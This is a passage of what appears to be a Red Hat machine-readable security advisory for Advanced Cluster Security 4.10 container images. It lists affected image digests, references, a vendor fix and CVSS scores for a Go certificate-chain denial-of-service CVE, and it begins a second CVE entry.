"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-32280"
},
{
"category": "external",
"summary": "RHBZ#2456339",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2456339"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-32280",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32280"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-32280",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32280"
},
{
"category": "external",
"summary": "https://go.dev/cl/758320",
"url": "https://go.dev/cl/758320"
},
{
"category": "external",
"summary": "https://go.dev/issue/78282",
"url": "https://go.dev/issue/78282"
},
{
"category": "external",
"summary": "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU",
"url": "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU"
},
{
"category": "external",
"summary": "https://pkg.go.dev/vuln/GO-2026-4947",
"url": "https://pkg.go.dev/vuln/GO-2026-4947"
}
],
"release_date": "2026-04-08T01:06:58.595000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "crypto/x509: crypto/tls: golang: Go: Denial of Service vulnerability in certificate chain building"
},
{
"cve": "CVE-2026-32281",
"cwe": {
"id": "CWE-1050",
"name": "Excessive Platform Resource Consumption within a Loop"
},
"discovery_date": "2026-04-08T02:01:00.930989+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
